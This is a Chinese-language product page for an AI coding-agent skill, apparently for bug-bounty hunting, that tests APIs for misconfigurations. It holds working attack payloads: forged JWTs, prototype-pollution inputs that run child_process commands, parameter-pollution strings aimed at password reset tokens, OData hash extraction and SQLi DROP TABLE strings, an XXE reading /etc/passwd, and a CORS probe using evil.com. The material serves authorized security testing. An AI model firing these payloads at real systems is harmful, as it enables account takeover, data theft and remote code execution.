关于 hunt-api-misconfig
hunt-api-misconfig 是用于发现 API 配置缺陷的安全测试技能,涵盖批量赋值、JWT 问题、原型污染、URL 参数污染、CORS、OData 和 OpenAPI 暴露,并提供调查与验证步骤。
主要功能
- 01批量赋值与 JWT 测试
- 02原型污染验证
- 03后端 URL 参数测试
- 04CORS 与 OData 检查
- 05Swagger/OpenAPI 暴露发现
适用场景
- 01检查对象更新接口中的权限提升风险
- 02追踪用户输入是否进入后端 API URL
- 03测试 OData 接口的访问控制缺口
- 04通过暴露的 API 规范梳理接口
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-api-misconfig安装后在 Claude Code 中输入/hunt-api-misconfig确认已加载。
详细介绍
12. API 安全配置错误
批量赋值
User.update(req.body) // body has {"role": "admin"} → privilege escalation
JWT None 算法
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "." # no signature
JWT RS256 → HS256 算法混淆
# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it
原型污染
// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin
对于服务端原型污染,首先寻找对象合并原语,然后寻找接收点。优先测试 profile、address、preferences、settings、cart、admin job、import 或 webhook 配置等 JSON/对象更新端点。收到针对 __proto__ 的 200 响应时不要就此止步;要证明被污染的原型状态会影响后续操作。
测试顺序:
- 寻找对象更新端点。 优先选择接受多个命名字段或 JSON 对象的端点。如果应用接受表单,也要同时尝试 JSON 和表单编码。必要时包含 CSRF/会话字段。
- 污染无害的标记属性。 发送如下变体:
{"__proto__":{"polluted":"pp-1337"}}
{"constructor":{"prototype":{"polluted":"pp-1337"}}}
__proto__[polluted]=pp-1337
constructor[prototype][polluted]=pp-1337
- 触发独立的接收点。 污染后,请求 account/profile/admin/job/export/search/render 端点,并与基线进行比较。强烈信号包括 JSON 默认值变化、出现意外字段、错误中提及对象属性、作业输出变化、模板/渲染错误,或命令/作业行为变化。
- 仅利用已确认的接收点进行升级。 候选属性取决于接收点:
{"__proto__":{"json spaces":10}}
{"__proto__":{"status":555}}
{"__proto__":{"isAdmin":true,"role":"admin"}}
{"__proto__":{"shell":"/bin/bash","argv0":"node","NODE_OPTIONS":"--inspect"}}
{"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}}
- 对于数据外传实验或真实影响,优先使用无破坏性证明。 如果管理作业、诊断、导出或渲染端点会使用被污染的默认值,仅在获得授权时使用标记,或读取环境变量/机密。在生产环境中,除非范围明确允许访问数据,否则应止步于受控标记。
后端 URL / REST URL 构造中的服务端参数污染
如果前端表单或端点似乎会代表你调用服务端 API(密码重置、账户查询、个人资料获取、商品查询、库存检查、搜索),则使用此方法。此漏洞并非普通的客户端查询污染。服务端会将你的输入插入后端 URL 路径或查询字符串中,例如:
/api/internal/users/<username>/field/email
/api/users/<id>
/api/users?username=<username>&field=email
测试顺序:
- 找到流程并查看客户端请求。 获取页面及其引用的任何 JavaScript。查找表单 action、
fetch(...)、隐藏的 CSRF 字段,以及浏览器发送的确切参数名称。如果存在重置/账户表单,先测试已知用户名,了解正常的成功/错误响应形式。 - 确定输入是否进入后端路径或查询字符串。 在输入中发送 URL 元字符:
#、?、&x=y、/、../及其编码形式%23、%3f、%26x=y、%2f、%2e%2e%2f。如果出现Invalid route、API definition、unsupported field等不同错误,或返回字段发生变化,说明你的值正被服务端 URL 路由器解析,而不只是作为文本进行验证。 - 使用路径遍历在服务端 URL 中移动。 如果
username/../other-user会更改被引用的账户,则说明输入位于 REST 路径段中。接着尝试追加路由片段,如/field/email、/field/id、/field/username、/field/passwordResetToken;如果后端 URL 解析器会处理片段,则使用#或%23终止原后端路径的剩余部分。 - 从错误中发现 API 文档。 如果错误提示查阅 API 定义,则尝试常见的文档/规范路径:
/openapi.json、/swagger.json、/api-docs、/api/swagger.json、/swagger/v1/swagger.json、/v3/api-docs,以及尝试从存在漏洞的后端路由访问规范文件的路径遍历变体。规范文件或描述性路由错误会告知你有效的资源和字段名称。 - 仅在证明影响所必需时利用漏洞。 对于密码重置/账户查询流程,最有力的证明是获取其他用户的敏感字段,例如重置令牌或机密,然后在正常应用流程中使用该令牌完成账户接管。不要止步于
Invalid route;要利用错误反馈来判断路由情况。
可尝试的载荷模式,根据观察到的参数名称进行调整:
username=administrator%23
username=administrator%3f
username=administrator%2f..%2fvictimuser
username=administrator/../victimuser
username=administrator/field/email%23
username=administrator/field/id%23
username=administrator/field/passwordResetToken%23
username=administrator%2ffield%2fpasswordResetToken%23
CORS 利用
# Test: reflected origin + credentials
curl -s -I -H "Origin: https://evil.com" https://target.com/api/user/me
# If: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true
# → CRITICAL: attacker reads credentialed responses
OData $filter / $select / $expand WAF 黑名单绕过(2024-2026 攻击面)
OData(开放数据协议)是 SharePoint、Microsoft Dynamics 365 / Power Platform、SAP NetWeaver Gateway / Fiori 以及任何使用 Microsoft.AspNetCore.OData 的 ASP.NET WebAPI 项目背后的查询层。它提供类似 SQL 的查询运算符(eq、ne、and、or、substringof、startswith、tolower、concat、replace),看起来像 SQL,但并非 SQL——这意味着基于关键字黑名单的 WAF 往往无法拦截 OData 流量。
攻击类别 1 — 通过 startswith / substringof 进行布尔逻辑盲提取
GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'a')
GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'aa')
逐个字符迭代前缀;响应数量(或 @odata.count)就是确认前缀是否正确的布尔型判定器。无需 SQLi 引擎,也不需要 ' / -- 字符——WAF 看到的只有合法的 OData 关键字。2023 年 12 月,攻击者提取了 Microsoft Dynamics 365 / Power Apps Portals 中的 密码哈希、姓名、电子邮件、地址和财务数据;Microsoft 于 2024 年 5 月发布补丁。(Stratus Security 分析,The Hacker News 2025 年 1 月报道)
攻击类别 2 — $orderby / $select 列信息披露绕过
GET /api/data/v9.0/contacts?$orderby=emailaddress1 desc&$select=fullname
$orderby 接受用户无权通过 $select 访问的列名,但引擎仍会按这些列排序——返回的顺序会泄露受保护的列信息。列级 ACL 会在投影($select)上强制执行,但不会在 $orderby / $filter 上强制执行——同一受保护列,不同代码路径。这是 Stratus 在同一 Dynamics 365 信息披露事件中发现的第二个问题;据 Stratus 称,“它比第一个更危险,因为它会直接返回数据”。
攻击类别 3 — $batch multipart/mixed → WAF 漏检各子操作的请求特征
POST /odata/$batch Content-Type: multipart/mixed; boundary=batch_1
--batch_1
Content-Type: application/http
GET Users?$filter=1 eq 1 HTTP/1.1
--batch_1--
只扫描外层请求正文(或无法原生解析 multipart/mixed)的 WAF 会跳过所有内部操作。ModSecurity 过去会拒绝 multipart/mixed(Issue #3296);F5 直到 Advanced WAF v16.1 才添加原生批处理解析功能(F5 SAP-Fiori 公告)。2025 年的 WAFFLED 论文(arXiv 2503.10846)将解析差异绕过类别推广到了 5 款主流 WAF。
攻击类别 4 — 编码 / 非规范运算符 → 绕过关键字黑名单
GET /api?%24filter=Name%20eq%20'x'%20or%201%20eq%201 # URL-encoded $
GET /api?%2524filter=... # double-encoded
GET /Users(1)/$value # path-segment style
混合大小写的运算符(Eq、EQ)和较少见的运算符(substringof、tolower、concat、replace)看起来不像 SELECT / UNION,因此 SQLi 关键字特征检测不会触发。只匹配字面字符串 $filter 的 WAF 看不到这两种形式——但 OData 服务端会在评估谓词前对它们进行规范化。自 Kalra 在 2012 年 Black Hat AD 大会上发表相关内容以来,这种 OData 与 WAF 的典型不匹配问题就已有记录。(OWASP 双重编码)
攻击类别 5 — OData → 库将筛选条件原样传递时导致真实 SQLi
$filter=Name eq 'x'); DROP TABLE Users--'
仅当 OData 层将字符串拼接到 SQL 中,而不是使用 LINQ 时才会触发。OData/WebApi Issue #2352 记录了这一问题。XML 反序列化变体:CVE-2019-17554(Apache Olingo OData 4.0.0-4.6.0,可通过 application/xml 正文中的 <!DOCTYPE foo [<!ENTITY x SYSTEM "file:///etc/passwd">]> 触发 XXE,CVSS 7.5)。拒绝服务变体:CVE-2018-8269(Microsoft.Data.OData 深层 $filter 递归 → 栈溢出)。
额外一例 — $expand 导航属性 IDOR
GET /Orders?$expand=Customer($expand=PaymentMethods($expand=Card))
授权装饰器应用于顶层实体集;引擎沿导航属性联接时,不会重新检查联接实体的 ACL。这与 2021 年 PowerApps Portals 泄露 3,800 万条记录的事件根源相同(UpGuard 分析)。
检测启发
- 响应头:
OData-Version: 4.0/DataServiceVersion: 3.0;URL 路径/_api/、/odata/、/_vti_bin/、/api/data/v9.x/、/sap/opu/odata/。 - 尝试访问
$metadata→ 如果允许匿名访问,完整架构(实体集、导航属性、函数导入)就唾手可得。 - 使用
$filter=1 eq 1、$top=1、$select=*探测每个实体集,然后尝试$orderby=<column-you-shouldnt-see>检查列级 ACL。 - 以三种方式发送相同的负载(
$filter=、%24filter=、%2524filter=),并通过$batch发送——WAF 行为不一致即可确认存在解析器差异漏洞。
NSwag / Swagger / OpenAPI 规范暴露(2024-2026 年现状)
NSwag 是 ASP.NET Core 的 Swagger/OpenAPI 工具链。许多 .NET 6/7/8 项目默认启用路由(/swagger、/swagger/v1/swagger.json、/swagger/index.html),开发人员还会让这些路由在生产环境中保持启用。暴露的规范会泄露所有端点、HTTP 方法、参数名称 + 类型 + 格式 + 最大长度、模型、验证规则——一份完整的 JSON 攻击地图。
默认发现路径(参见 web2-recon)
# NSwag / Swashbuckle (ASP.NET Core)
/swagger, /swagger/index.html, /swagger/v1/swagger.json, /swagger/v2/swagger.json, /swagger/v3/swagger.json
/swagger-ui, /swagger-ui/, /swagger-ui.html, /api-docs
/nswag, /nswag/index.html, /api/swagger, /api/swagger.json, /api/openapi.json
# Generic OpenAPI
/openapi, /openapi.json, /openapi.yaml, /.well-known/openapi.json
# Java / Spring (Springfox / springdoc)
/v2/api-docs, /v3/api-docs, /v3/api-docs.yaml, /swagger-resources
# Python (FastAPI / Connexion)
/docs, /redoc, /openapi.json
# Quarkus
/q/openapi, /q/swagger-ui
# GraphQL adjacent
/graphql, /graphiql, /playground, /altair, /voyager
工具:kiterunner 原生支持 OpenAPI;sj(Swagger Jacker)、apidetector、XSSwagger。
攻击链
A. 规范泄露 → 大规模 IDOR / BOLA。 规范会列出每个 GET /api/v1/users/{userId}/...。执行 jq '.paths | keys' swagger.json → 通过 Autorize / ffuf -mc 200 将 {userId} 替换为受害者的 ID。常见情况:规范泄露 /api/admin/users/{id}/reset-password,文档中列出了该路径,但控制器上缺少 [Authorize(Roles="Admin")]——低权限账号接管(ATO)。
B. 规范泄露 → 构造大规模批量赋值负载。 components.schemas.UserUpdateDto 会列出模型的每个字段,包括 isAdmin、emailVerified、tenantId、role。攻击者将架构原样复制到 PATCH /users/me,并添加特权字段。如果 DTO 未拆分为读写模型,服务器的 [FromBody] 绑定器就会接受这些字段。
C. 隐藏端点。 规范会记录 /internal/*、/debug/*、/v0/*、/legacy/* 等路由,前端 UI 中没有任何页面引用这些路由。这些路由可以访问,但不受 WAF 规则覆盖,而且通常会在身份验证审查中被跳过。
D. Swagger UI configUrl 接管。 Swagger UI 会通过 ?configUrl= 加载其配置。如果未进行清理,攻击者可以托管恶意 OpenAPI 规范,然后向受害者发送一个指向合法 Swagger UI 的链接,并附上 ?configUrl=https://evil/spec.json。规范路由会指回合法源,因此受害者点击“Try It Out”后会发出同源、经过身份验证的请求。(HackerOne #3124103 — 美国国防部 Swagger UI 注入,2025 年 5 月)
已披露案例
- CVE-2018-25031 — Swagger UI ≤ 4.1.2 可通过 URL 参数注入规范;广泛影响 org.webjars:swagger-ui(嵌入 Swashbuckle 和 NSwag 软件包中)。
- Swagger UI DOM XSS(3.14.1 → 3.38.0) — 过时的内置 DOMPurify + 远程规范加载 → 在受害者浏览器中执行任意 JS(Vidoc Security Lab 分析,PortSwigger Daily Swig)。据报告,该漏洞曾在 PayPal、Atlassian、Microsoft、GitLab、Yahoo 上实际存在。
- HackerOne #3124103 — 美国国防部,Swagger UI 注入(2025 年 5 月)。
- HackerOne #2534300 — Ionity GmbH,Swagger UI 中的 HTML 注入。
- HackerOne #1656650 — 通过 Swagger UI
url=参数实现反射型 XSS。 - CloudSEK 威胁情报(2024) — 攻击者滥用暴露的
swagger-ui,调用经过验证的企业 WhatsApp 发送消息端点,冒充企业向其客户发送消息。据撰写时的统计,Shodan 上有 6,000 多个暴露的 Swagger UI 实例。(CloudSEK 报告) - CVE-2023-38337 —
rswag(Ruby Swagger 工具链)目录遍历——提醒我们,规范端点本身也是攻击面。
检测清单
- 使用 httpx-probe 探测上述所有路径,覆盖完整子域名集合;标记状态码为 200、
Content-Type: application/json且响应正文匹配"swagger"或"openapi"的结果。 - 对每个命中项:运行
jq '.paths | keys' swagger.json→ 将结果输入 kiterunner / Autorize。 - 运行
jq '.components.schemas' swagger.json→ 获取批量赋值字段候选项。 - 检查 Swagger UI HTML 中的版本字符串;映射到 CVE-2018-25031 / DOM-XSS 表。
- 在每个命中的 Swagger UI 上测试
?configUrl=和?url=参数处理方式。
相关技能与攻击链
hunt-ato— 注册/个人资料页面上的批量赋值是最快的提权途径。攻击链原语:API 批量赋值 +hunt-ato→ 注册时设置role=admin→ 首次登录时通过特权角色实现 ATO。hunt-auth-bypass— JWT 漏洞会使整个身份验证层失效。攻击链原语:JWTalg=none+hunt-auth-bypass→ 将sub设置为受害者 ID,即可冒充任何用户,无需签名。hunt-rce— Node.js 依赖项(lodash、mongoose、jQuery)中的原型污染利用链可触及child_process.spawn。攻击链原语:原型污染(__proto__.shell=true)+hunt-rce(Node.js 利用链)→ 在 API 节点上实现 RCE。hunt-subdomain— 带通配符子域名的 CORS 正则会信任可被接管的主机。攻击链原语:CORS 允许列表*.target.com+ 子域名接管 → 攻击者控制的来源读取带凭据的 API 响应。security-arsenal— 加载 JWT 攻击载荷部分(alg=none、kid 路径遍历、JWK 注入、内嵌 JWK)和批量赋值字段词表(is_admin、role、verified、permissions、org_id、tenant_id)。triage-validation— 应用 Server-Policy-vs-State 判定门槛:单独存在宽松的 CORS 标头仅供参考;报告前应证明能够跨源读取敏感数据,且请求携带凭据。